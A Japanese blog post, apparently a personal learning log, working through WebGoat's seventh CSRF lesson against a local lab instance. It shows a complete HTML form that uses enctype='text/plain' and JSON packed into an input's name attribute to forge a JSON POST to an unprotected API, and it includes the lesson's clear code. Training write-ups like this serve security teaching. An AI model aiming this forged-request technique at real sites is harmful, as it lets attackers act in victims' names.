Shikata Ga Nai

Private? There is no such things.

WebGOATでCSRF⑦を演習してみた

Hello there, ('ω')ノ

 

content-typeに依存することが、CSRFに対する防御ではないのがわかって。

次にCSRFに対して保護されていないAPIに対してCSRF攻撃を実行できるかを。

今回は、エンドポイントに次のJSONメッセージをPOSTする必要がありとのことで。

 

POST /csrf/feedback/message HTTP/1.1

{
 "name" : "WebGoat",
 "email" : "webgoat@webgoat.org",
 "content" : "WebGoat is the best!!"
}

 

まずは、動作確認からリクエスト内容を確認して。

 

f:id:ThisIsOne:20200714071811p:plain

 

ファイルの種類を示す情報を指定する項目のContent-Typeを確認して。

 

f:id:ThisIsOne:20200714065459p:plain

 

一応、リクエスト先も確認しておいて。

 POST http://192.168.1.54:8000/WebGoat/csrf/feedback/message

 

f:id:ThisIsOne:20200714071558p:plain

 

まずは、json形式でAPIにメッセージを送信する必要があるので。

下記のように『enctype = "text /plain"』を追加して。

『name』属性部分にJSONデータを挿入して最小のHTMLファイルを作成して。

 

<html>
<body>
<form action = "http://192.168.1.54:8000/WebGoat/csrf/feedback/message" method = "POST" enctype="text/plain" >
<input name = '{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!","dummy":"' value='test"}'>
<input type = "submit" value = "Submit review">
</ form>
</ body>
</ html>

 

JSONデータは、下記のようにもっとシンプルでもよいかと。

<input name = '{"name":"WebGoat","email":"webgoat@webgoat.org","content":"WebGoat is the best!!" }'>

 

Submit reviewボタンをおすと、下記のコードが表示されて。

 c0b3c8ac-140e-4a24-bdff-cdde781a11a7

 

f:id:ThisIsOne:20200714084755p:plain

 

 

コードを入力するとクリアできた。

 

f:id:ThisIsOne:20200714080812p:plain

 

Best regards, (^^ゞ